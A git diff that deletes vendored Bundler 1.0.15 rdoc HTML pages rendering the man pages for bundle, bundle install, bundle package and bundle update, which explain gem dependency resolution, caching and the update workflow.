-       pack requires updating one of its dependencies.
-
-       Even  though activemerchant declares a very loose dependency that theo-
-       retically matches activesupport 3.0.0.rc, bundler treats gems  in  your
-       Gemfile(5)  that have not changed as an atomic unit together with their
-       dependencies. In this case, the activemerchant dependency is treated as
-       activemerchant  1.7.1  +  activesupport  2.3.8,  so bundle install will
-       report that it cannot update actionpack.
-
-       To explicitly update actionpack, including its dependencies which other
-       gems  in  the  Gemfile(5) still depend on, run bundle update actionpack
-       (see bundle update(1)).
-
-       Summary: In general, after making a change  to  the  Gemfile(5)  ,  you
-       should  first  try  to run bundle install, which will guarantee that no
-       other gems in the Gemfile(5) are impacted by the change. If  that  does
-       not work, run bundle update(1) bundle-update.1.html.
-
-                                   May 2011                  BUNDLE-INSTALL(1)</pre>
-
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-
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
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-." generated with Ronn/v0.7.3 ." <a
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-. .TH &#8220;BUNDLE-PACKAGE&#8221; &#8220;1&#8221; &#8220;October
-2010&#8221; &#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221;
-fBbundle-packagefR - Package your needed fB.gemfR files into your
-application . .SH &#8220;SYNOPSIS&#8221; fBbundle packagefR . .SH
-&#8220;DESCRIPTION&#8221; Copy all of the fB.gemfR files needed to run the
-application into the fBvendor/cache\fR directory. In the future, when
-running bundle install(1) fIbundle-install.1.htmlfR, use the gems in the
-cache in preference to the ones on fBrubygems.orgfR. . .SH &#8220;GIT AND
-PATH GEMS&#8221; In <a href="../../../Bundler.html">Bundler</a> 1.0, the
-fBbundle packagefR command only packages fB.gemfR files, not gems specified
-using the fB:gitfR or fB:pathfR options. This will likely change in the
-future. . .SH &#8220;REMOTE FETCHING&#8221; By default, if you simply run
-bundle install(1) fIbundle-install.1.htmlfR after running bundle package(1)
-fIbundle-package.1.htmlfR, bundler will still connect to fBrubygems.orgfR
-to check whether a platform-specific gem exists for any of the gems in
-fBvendor/cache\fR. . .P For instance, consider this Gemfile(5): . .IP
-&#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;nokogiri&#8221; . .fi . .IP &#8220;&#8221; 0 . .P If you run
-fBbundle packagefR under C Ruby, bundler will retrieve the version of
-fBnokogirifR for the fB&#8220;ruby&#8220;fR platform. If you deploy to
-JRuby and run fBbundle installfR, bundler is forced to check to see whether
-a fB&#8220;java&#8220;fR platformed fBnokogirifR exists. . .P Even though
-the fBnokogirifR gem for the Ruby platform is fItechnicallyfR acceptable on
-JRuby, it actually has a C extension that does not run on JRuby. As a
-result, bundler will, by default, still connect to fBrubygems.orgfR to
-check whether it has a version of one of your gems more specific to your
-platform. . .P This problem is also not just limited to the
-fB&#8220;java&#8220;fR platform. A similar (common) problem can happen when
-developing on Windows and deploying to Linux, or even when developing on
-OSX and deploying to Linux. . .P If you know for sure that the gems
-packaged in fBvendor/cache\fR are appropriate for the platform you are on,
-you can run fBbundle install -\-localfR to skip checking for more
-appropriate gems, and just use the ones in fBvendor/cache\fR. . .P One way
-to be sure that you have the right platformed versions of all your gems is
-to run fBbundle packagefR on an identical machine and check in the gems.
-For instance, you can run fBbundle packagefR on an identical staging box
-during your staging process, and check in the fBvendor/cache\fR before
-deploying to production.
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-package_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-package_txt.html
deleted file mode 100644
index 1d4c730c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-package_txt.html
+++ /dev/null
@@ -1,345 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-BUNDLE-PACKAGE(1)                                           
-BUNDLE-PACKAGE(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-package - Package your needed .gem files into your application
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle package
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       Copy  all of the .gem files needed to run the application into the ven-
-       dor/cache directory. In the future, when running bundle install(1) bun-
-       dle-install.1.html, use the gems in the cache in preference to the ones
-       on rubygems.org.
-</pre>
-<p>
-GIT AND PATH GEMS
-</p>
-<pre>
-       In Bundler 1.0, the bundle package command only  packages  .gem  files,
-       not  gems  specified  using the :git or :path options. This will likely
-       change in the future.
-</pre>
-<p>
-REMOTE FETCHING
-</p>
-<pre>
-       By default, if you simply run bundle  install(1)  bundle-install.1.html
-       after  running  bundle  package(1)  bundle-package.1.html, bundler will
-       still connect to rubygems.org to check whether a platform-specific  gem
-       exists for any of the gems in vendor/cache.
-
-       For instance, consider this Gemfile(5):
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;nokogiri&quot;
-
-       If  you run bundle package under C Ruby, bundler will retrieve the ver-
-       sion of nokogiri for the &quot;ruby&quot; platform. If you deploy  to  JRuby  and
-       run  bundle install, bundler is forced to check to see whether a &quot;java&quot;
-       platformed nokogiri exists.
-
-       Even though the nokogiri gem  for  the  Ruby  platform  is  technically
-       acceptable on JRuby, it actually has a C extension that does not run on
-       JRuby. As  a  result,  bundler  will,  by  default,  still  connect  to
-       rubygems.org to check whether it has a version of one of your gems more
-       specific to your platform.
-
-       This problem is also not just limited to the &quot;java&quot; platform. A similar
-       (common) problem can happen when developing on Windows and deploying to
-       Linux, or even when developing on OSX and deploying to Linux.
-
-       If you know for sure that the gems packaged in vendor/cache are  appro-
-       priate  for the platform you are on, you can run bundle install --local
-       to skip checking for more appropriate gems, and just use  the  ones  in
-       vendor/cache.
-
-       One  way  to be sure that you have the right platformed versions of all
-       your gems is to run bundle package on an identical machine and check in
-       the  gems.  For  instance,  you  can run bundle package on an identical
-       staging box during your staging process, and check in the  vendor/cache
-       before deploying to production.
-
-                                 October 2010                BUNDLE-PACKAGE(1)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-update.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-update.html
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-." generated with Ronn/v0.7.3 ." <a
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-. .TH &#8220;BUNDLE-UPDATE&#8221; &#8220;1&#8221; &#8220;October
-2010&#8221; &#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221;
-fBbundle-updatefR - Update your gems to the latest available versions . .SH
-&#8220;SYNOPSIS&#8221; fBbundle updatefR fI*gemsfR [-\-source=NAME] . .SH
-&#8220;DESCRIPTION&#8221; Update the gems specified (all gems, if none are
-specified), ignoring the previously installed gems specified in the
-fBGemfile.lockfR. In general, you should use bundle install(1)
-fIbundle-install.1.htmlfR to install the same exact gems and versions
-across machines. . .P You would use fBbundle updatefR to explicitly update
-the version of a gem. . .SH &#8220;OPTIONS&#8221; . .TP
-fB-\-source=<name>fR The name of a fB:gitfR or fB:pathfR source used in the
-Gemfile(5). For instance, with a fB:gitfR source of fB<a
-href="http://github\.com/rails/rails\.git\fR">github\.com/rails/rails\.git\fR</a>,
-you would call fBbundle update -\-source railsfR . .SH &#8220;UPDATING ALL
-GEMS&#8221; If you run fBbundle updatefR with no parameters, bundler will
-ignore any previously installed gems and resolve all dependencies again
-based on the latest versions of all gems available in the sources. . .P
-Consider the following Gemfile(5): . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;rails&#8221;, &#8220;3.0.0.rc&#8221; gem &#8220;nokogiri&#8221;
-. .fi . .IP &#8220;&#8221; 0 . .P When you run bundle install(1)
-fIbundle-install.1.htmlfR the first time, bundler will resolve all of the
-dependencies, all the way down, and install what you need: . .IP
-&#8220;&#8221; 4 . .nf
-</p>
-<p>
-Fetching source index for <a href="http://rubygems\.org">rubygems\.org</a>/
-Installing rake (0.8.7) Installing abstract (1.0.0) Installing
-activesupport (3.0.0.rc) Installing builder (2.1.2) Installing i18n (0.4.1)
-Installing activemodel (3.0.0.rc) Installing erubis (2.6.6) Installing rack
-(1.2.1) Installing rack-mount (0.6.9) Installing rack-test (0.5.4)
-Installing tzinfo (0.3.22) Installing actionpack (3.0.0.rc) Installing
-mime-types (1.16) Installing polyglot (0.3.1) Installing treetop (1.4.8)
-Installing mail (2.2.5) Installing actionmailer (3.0.0.rc) Installing arel
-(0.4.0) Installing activerecord (3.0.0.rc) Installing activeresource
-(3.0.0.rc) Installing bundler (1.0.0.rc.3) Installing nokogiri (1.4.3.1)
-with native extensions Installing thor (0.14.0) Installing railties
-(3.0.0.rc) Installing rails (3.0.0.rc)
-</p>
-<p>
-Your bundle is complete! Use `bundle show [gemname]` to see where a bundled
-gem is installed. . .fi . .IP &#8220;&#8221; 0 . .P As you can see, even
-though you have just two gems in the Gemfile(5), your application actually
-needs 25 different gems in order to run. <a
-href="../../../Bundler.html">Bundler</a> remembers the exact versions it
-installed in fBGemfile.lockfR. The next time you run bundle install(1)
-fIbundle-install.1.htmlfR, bundler skips the dependency resolution and
-installs the same gems as it installed last time. . .P After checking in
-the fBGemfile.lockfR into version control and cloning it on another
-machine, running bundle install(1) fIbundle-install.1.htmlfR will fIstillfR
-install the gems that you installed last time. You don't need to worry that
-a new release of fBerubisfR or fBmailfR changes the gems you use. . .P
-However, from time to time, you might want to update the gems you are using
-to the newest versions that still match the gems in your Gemfile(5). . .P
-To do this, run fBbundle updatefR, which will ignore the fBGemfile.lockfR,
-and resolve all the dependencies again. Keep in mind that this process can
-result in a significantly different set of the 25 gems, based on the
-requirements of new gems that the gem authors released since the last time
-you ran fBbundle updatefR. . .SH &#8220;UPDATING A LIST OF GEMS&#8221;
-Sometimes, you want to update a single gem in the Gemfile(5), and leave the
-rest of the gems that you specified locked to the versions in the
-fBGemfile.lockfR. . .P For instance, in the scenario above, imagine that
-fBnokogirifR releases version fB1.4.4fR, and you want to update it
-fIwithoutfR updating Rails and all of its dependencies. To do this, run
-fBbundle update nokogirifR. . .P <a
-href="../../../Bundler.html">Bundler</a> will update fBnokogirifR and any
-of its dependencies, but leave alone Rails and its dependencies. . .SH
-&#8220;OVERLAPPING DEPENDENCIES&#8221; Sometimes, multiple gems declared in
-your Gemfile(5) are satisfied by the same second-level dependency. For
-instance, consider the case of fBthinfR and fBrack-perftools-profilerfR. .
-.IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-source &#8220;<a href="http://rubygems\.org">rubygems\.org</a>&#8220;
-</p>
-<p>
-gem &#8220;thin&#8221; gem &#8220;rack-perftools-profiler&#8221; . .fi .
-.IP &#8220;&#8221; 0 . .P The fBthinfR gem depends on fBrack >= 1.0fR,
-while fBrack-perftools-profilerfR depends on fBrack ~> 1.0fR. If you run
-bundle install, you get: . .IP &#8220;&#8221; 4 . .nf
-</p>
-<p>
-Fetching source index for <a href="http://rubygems\.org">rubygems\.org</a>/
-Installing daemons (1.1.0) Installing eventmachine (0.12.10) with native
-extensions Installing open4 (1.0.1) Installing perftools.rb (0.4.7) with
-native extensions Installing rack (1.2.1) Installing
-rack-perftools_profiler (0.0.2) Installing thin (1.2.7) with native
-extensions Using bundler (1.0.0.rc.3) . .fi . .IP &#8220;&#8221; 0 . .P In
-this case, the two gems have their own set of dependencies, but they share
-fBrackfR in common. If you run fBbundle update thinfR, bundler will update
-fBdaemonsfR, fBeventmachinefR and fBrackfR, which are dependencies of
-fBthinfR, but not fBopen4fR or fBperftools.rbfR, which are dependencies of
-fBrack-perftools_profiler\fR. Note that fBbundle update thinfR will update
-fBrackfR even though it's fIalsofR a dependency of
-fBrack-perftools_profiler\fR. . .P fBIn shortfR, when you update a gem
-using fBbundle updatefR, bundler will update all dependencies of that gem,
-including those that are also dependencies of another gem. . .P In this
-scenario, updating the fBthinfR version manually in the Gemfile(5), and
-then running bundle install(1) fIbundle-install.1.htmlfR will only update
-fBdaemonsfR and fBeventmachinefR, but not fBrackfR. For more information,
-see the fBCONSERVATIVE UPDATINGfR section of bundle install(1)
-fIbundle-install.1.htmlfR. . .SH &#8220;RECOMMENDED WORKFLOW&#8221; In
-general, when working with an application managed with bundler, you should
-use the following workflow: . .IP &#8220;(bu&#8221; 4 After you create your
-Gemfile(5) for the first time, run . .IP $ bundle install . .IP
-&#8220;(bu&#8221; 4 Check the resulting fBGemfile.lockfR into version
-control . .IP $ git add Gemfile.lock . .IP &#8220;(bu&#8221; 4 When
-checking out this repository on another development machine, run . .IP $
-bundle install . .IP &#8220;(bu&#8221; 4 When checking out this repository
-on a deployment machine, run . .IP $ bundle install -\-deployment . .IP
-&#8220;(bu&#8221; 4 After changing the Gemfile(5) to reflect a new or
-update dependency, run . .IP $ bundle install . .IP &#8220;(bu&#8221; 4
-Make sure to check the updated fBGemfile.lockfR into version control . .IP
-$ git add Gemfile.lock . .IP &#8220;(bu&#8221; 4 If bundle install(1)
-fIbundle-install.1.htmlfR reports a conflict, manually update the specific
-gems that you changed in the Gemfile(5) . .IP $ bundle update rails thin .
-.IP &#8220;(bu&#8221; 4 If you want to update all the gems to the latest
-possible versions that still match the gems listed in the Gemfile(5), run .
-.IP $ bundle update . .IP &#8220;&#8221; 0
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
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-</body>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-update_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle-update_txt.html
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-		<p>
-BUNDLE-UPDATE(1)                                             
-BUNDLE-UPDATE(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle-update - Update your gems to the latest available versions
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle update *gems [--source=NAME]
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       Update  the  gems specified (all gems, if none are specified), ignoring
-       the previously installed gems specified in the  Gemfile.lock.  In  gen-
-       eral, you should use bundle install(1) bundle-install.1.html to install
-       the same exact gems and versions across machines.
-
-       You would use bundle update to explicitly update the version of a  gem.
-</pre>
-<p>
-OPTIONS
-</p>
-<pre>
-       --source=&lt;name&gt;
-              The  name  of a :git or :path source used in the Gemfile(5). For
-              instance,       with       a        :git        source        of
-              http://github.com/rails/rails.git,  you would call bundle update
-              --source rails
-</pre>
-<p>
-UPDATING ALL GEMS
-</p>
-<pre>
-       If you run bundle update with no parameters, bundler  will  ignore  any
-       previously  installed  gems and resolve all dependencies again based on
-       the latest versions of all gems available in the sources.
-
-       Consider the following Gemfile(5):
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;rails&quot;, &quot;3.0.0.rc&quot;
-           gem &quot;nokogiri&quot;
-
-       When you run bundle install(1) bundle-install.1.html  the  first  time,
-       bundler  will  resolve  all  of the dependencies, all the way down, and
-       install what you need:
-
-           Fetching source index for http://rubygems.org/
-           Installing rake (0.8.7)
-           Installing abstract (1.0.0)
-           Installing activesupport (3.0.0.rc)
-           Installing builder (2.1.2)
-           Installing i18n (0.4.1)
-           Installing activemodel (3.0.0.rc)
-           Installing erubis (2.6.6)
-           Installing rack (1.2.1)
-           Installing rack-mount (0.6.9)
-           Installing rack-test (0.5.4)
-           Installing tzinfo (0.3.22)
-           Installing actionpack (3.0.0.rc)
-           Installing mime-types (1.16)
-           Installing polyglot (0.3.1)
-           Installing treetop (1.4.8)
-           Installing mail (2.2.5)
-           Installing actionmailer (3.0.0.rc)
-           Installing arel (0.4.0)
-           Installing activerecord (3.0.0.rc)
-           Installing activeresource (3.0.0.rc)
-           Installing bundler (1.0.0.rc.3)
-           Installing nokogiri (1.4.3.1) with native extensions
-           Installing thor (0.14.0)
-           Installing railties (3.0.0.rc)
-           Installing rails (3.0.0.rc)
-
-           Your bundle is complete! Use `bundle show [gemname]` to see where a bundled gem is installed.
-
-       As you can see, even though you have just two gems in  the  Gemfile(5),
-       your  application  actually  needs  25  different gems in order to run.
-       Bundler remembers the exact versions it installed in Gemfile.lock.  The
-       next  time  you  run  bundle  install(1) bundle-install.1.html, bundler
-       skips the dependency resolution  and  installs  the  same  gems  as  it
-       installed last time.
-
-       After  checking in the Gemfile.lock into version control and cloning it
-       on another machine,  running  bundle  install(1)  bundle-install.1.html
-       will  still  install  the  gems that you installed last time. You don't
-       need to worry that a new release of erubis or mail changes the gems you
-       use.
-
-       However,  from  time to time, you might want to update the gems you are
-       using to the newest versions that still match the  gems  in  your  Gem-
-       file(5).
-
-       To  do this, run bundle update, which will ignore the Gemfile.lock, and
-       resolve all the dependencies again. Keep in mind that this process  can
-       result  in  a  significantly different set of the 25 gems, based on the
-       requirements of new gems that the gem authors released since  the  last
-       time you ran bundle update.
-</pre>
-<p>
-UPDATING A LIST OF GEMS
-</p>
-<pre>
-       Sometimes, you want to update a single gem in the Gemfile(5), and leave
-       the rest of the gems that you specified locked to the versions  in  the
-       Gemfile.lock.
-
-       For  instance,  in  the  scenario above, imagine that nokogiri releases
-       version 1.4.4, and you want to update it without updating Rails and all
-       of its dependencies. To do this, run bundle update nokogiri.
-
-       Bundler  will  update  nokogiri  and any of its dependencies, but leave
-       alone Rails and its dependencies.
-</pre>
-<p>
-OVERLAPPING DEPENDENCIES
-</p>
-<pre>
-       Sometimes, multiple gems declared in your Gemfile(5) are  satisfied  by
-       the  same  second-level  dependency. For instance, consider the case of
-       thin and rack-perftools-profiler.
-
-           source &quot;http://rubygems.org&quot;
-
-           gem &quot;thin&quot;
-           gem &quot;rack-perftools-profiler&quot;
-
-       The thin gem depends on  rack  &gt;=  1.0,  while  rack-perftools-profiler
-       depends on rack ~&gt; 1.0. If you run bundle install, you get:
-
-           Fetching source index for http://rubygems.org/
-           Installing daemons (1.1.0)
-           Installing eventmachine (0.12.10) with native extensions
-           Installing open4 (1.0.1)
-           Installing perftools.rb (0.4.7) with native extensions
-           Installing rack (1.2.1)
-           Installing rack-perftools_profiler (0.0.2)
-           Installing thin (1.2.7) with native extensions
-           Using bundler (1.0.0.rc.3)
-
-       In this case, the two gems have their own set of dependencies, but they
-       share rack in common. If you  run  bundle  update  thin,  bundler  will
-       update  daemons, eventmachine and rack, which are dependencies of thin,
-       but  not   open4   or   perftools.rb,   which   are   dependencies   of
-       rack-perftools_profiler.  Note that bundle update thin will update rack
-       even though it's also a dependency of rack-perftools_profiler.
-
-       In short, when you update a  gem  using  bundle  update,  bundler  will
-       update  all  dependencies  of  that  gem, including those that are also
-       dependencies of another gem.
-
-       In this scenario, updating the thin version manually in the Gemfile(5),
-       and  then  running  bundle  install(1)  bundle-install.1.html will only
-       update daemons and eventmachine, but not rack.  For  more  information,
-       see  the  CONSERVATIVE  UPDATING  section  of  bundle  install(1)  bun-
-       dle-install.1.html.
-</pre>
-<p>
-RECOMMENDED WORKFLOW
-</p>
-<pre>
-       In general, when working with an application managed with bundler,  you
-       should use the following workflow:
-
-       o   After you create your Gemfile(5) for the first time, run
-
-           $ bundle install
-
-       o   Check the resulting Gemfile.lock into version control
-
-           $ git add Gemfile.lock
-
-       o   When  checking  out this repository on another development machine,
-           run
-
-           $ bundle install
-
-       o   When checking out this repository on a deployment machine, run
-
-           $ bundle install --deployment
-
-       o   After changing the Gemfile(5) to reflect a  new  or  update  depen-
-           dency, run
-
-           $ bundle install
-
-       o   Make sure to check the updated Gemfile.lock into version control
-
-           $ git add Gemfile.lock
-
-       o   If bundle install(1) bundle-install.1.html reports a conflict, man-
-           ually update the specific gems that you changed in the Gemfile(5)
-
-           $ bundle update rails thin
-
-       o   If you want to update all the gems to the latest possible  versions
-           that still match the gems listed in the Gemfile(5), run
-
-           $ bundle update
-
-                                 October 2010                 BUNDLE-UPDATE(1)</pre>
-
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deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle.html
+++ /dev/null
@@ -1,308 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
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-	<div id="documentation">
-		<p>
-." generated with Ronn/v0.7.3 ." <a
-href="http://github.com/rtomayko/ronn/tree/0.7.3">github.com/rtomayko/ronn/tree/0.7.3</a>
-. .TH &#8220;BUNDLE&#8221; &#8220;1&#8221; &#8220;May 2011&#8221;
-&#8220;&#8221; &#8220;&#8221; . .SH &#8220;NAME&#8221; fBbundlefR - Ruby
-Dependency Management . .SH &#8220;SYNOPSIS&#8221; fBbundlefR COMMAND
-[-\-no-color] [-\-verbose] [ARGS] . .SH &#8220;DESCRIPTION&#8221; <a
-href="../../../Bundler.html">Bundler</a> manages an fBapplication's
-dependenciesfR through its entire life across many machines systematically
-and repeatably. . .P See the bundler website fI<a
-href="http://gembundler\.com\fR">gembundler\.com\fR</a> for information on
-getting started, and Gemfile(5) for more information on the fBGemfilefR
-format. . .SH &#8220;OPTIONS&#8221; . .TP fB-\-no-colorfR Prints all output
-without color . .TP fB-\-verbosefR Prints out additional logging
-information . .SH &#8220;BUNDLE COMMANDS&#8221; We divide fBbundlefR
-subcommands into primary commands and utilities. . .SH &#8220;PRIMARY
-COMMANDS&#8221; . .TP bundle install(1) fIbundle-install.1.htmlfR Install
-the gems specified by the fBGemfilefR or fBGemfile.lockfR . .TP bundle
-update(1) fIbundle-update.1.htmlfR Update dependencies to their latest
-versions . .TP bundle package(1) fIbundle-package.1.htmlfR Package the .gem
-files required by your application into the fBvendor/cache\fR directory .
-.TP bundle exec(1) fIbundle-exec.1.htmlfR Execute a script in the context
-of the current bundle . .TP bundle config(1) fIbundle-config.1.htmlfR
-Specify and read configuration options for bundler . .SH
-&#8220;UTILITIES&#8221; . .TP fBbundle check(1)fR Determine whether the
-requirements for your application are installed and available to bundler .
-.TP fBbundle list(1)fR Show all of the gems in the current bundle . .TP
-fBbundle show(1)fR Show the source location of a particular gem in the
-bundle . .TP fBbundle console(1)fR Start an IRB session in the context of
-the current bundle . .TP fBbundle open(1)fR Open an installed gem in the
-editor . .TP fBbundle viz(1)fR Generate a visual representation of your
-dependencies . .TP fBbundle init(1)fR Generate a simple fBGemfilefR, placed
-in the current directory . .TP fBbundle gem(1)fR Create a simple gem,
-suitable for development with bundler . .SH &#8220;OBSOLETE&#8221; These
-commands are obsolete and should no longer be used . .IP &#8220;(bu&#8221;
-4 fBbundle lock(1)fR . .IP &#8220;(bu&#8221; 4 fBbundle unlock(1)fR . .IP
-&#8220;(bu&#8221; 4 fBbundle cache(1)fR . .IP &#8220;&#8221; 0
-</p>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle_txt.html
deleted file mode 100644
index 6af9a835..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/bundle_txt.html
+++ /dev/null
@@ -1,375 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: bundle.txt [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
-
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-		charset="utf-8"></script>
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-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
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-</head>
-
-<body class="file">
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
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-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
-        </h3>
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-		</div>
-
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-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
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-					<li class="file"><a href="../../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
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-				<h3 class="section-header">Class Index
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-				
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-				
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-				
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-				
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-		<p>
-BUNDLE(1)                                                           
-BUNDLE(1)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       bundle - Ruby Dependency Management
-</pre>
-<p>
-SYNOPSIS
-</p>
-<pre>
-       bundle COMMAND [--no-color] [--verbose] [ARGS]
-</pre>
-<p>
-DESCRIPTION
-</p>
-<pre>
-       Bundler  manages  an application's dependencies through its entire life
-       across many machines systematically and repeatably.
-
-       See the bundler website http://gembundler.com for information  on  get-
-       ting  started,  and Gemfile(5) for more information on the Gemfile for-
-       mat.
-</pre>
-<p>
-OPTIONS
-</p>
-<pre>
-       --no-color
-              Prints all output without color
-
-       --verbose
-              Prints out additional logging information
-</pre>
-<p>
-BUNDLE COMMANDS
-</p>
-<pre>
-       We divide bundle subcommands into primary commands and utilities.
-</pre>
-<p>
-PRIMARY COMMANDS
-</p>
-<pre>
-       bundle install(1) bundle-install.1.html
-              Install the gems specified by the Gemfile or Gemfile.lock
-
-       bundle update(1) bundle-update.1.html
-              Update dependencies to their latest versions
-
-       bundle package(1) bundle-package.1.html
-              Package the .gem files required by  your  application  into  the
-              vendor/cache directory
-
-       bundle exec(1) bundle-exec.1.html
-              Execute a script in the context of the current bundle
-
-       bundle config(1) bundle-config.1.html
-              Specify and read configuration options for bundler
-</pre>
-<p>
-UTILITIES
-</p>
-<pre>
-       bundle check(1)
-              Determine  whether  the  requirements  for  your application are
-              installed and available to bundler
-
-       bundle list(1)
-              Show all of the gems in the current bundle
-
-       bundle show(1)
-              Show the source location of a particular gem in the bundle
-
-       bundle console(1)
-              Start an IRB session in the context of the current bundle
-
-       bundle open(1)
-              Open an installed gem in the editor
-
-       bundle viz(1)
-              Generate a visual representation of your dependencies
-
-       bundle init(1)
-              Generate a simple Gemfile, placed in the current directory
-
-       bundle gem(1)
-              Create a simple gem, suitable for development with bundler
-</pre>
-<p>
-OBSOLETE
-</p>
-<pre>
-       These commands are obsolete and should no longer be used
-
-       o   bundle lock(1)
-
-       o   bundle unlock(1)
-
-       o   bundle cache(1)
-
-                                   May 2011                          BUNDLE(1)</pre>
-
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/gemfile_5_txt.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/man/gemfile_5_txt.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-		<p>
-GEMFILE(5)                                                         
-GEMFILE(5)
-</p>
-<p>
-NAME
-</p>
-<pre>
-       Gemfile - A format for describing gem dependencies for Ruby programs
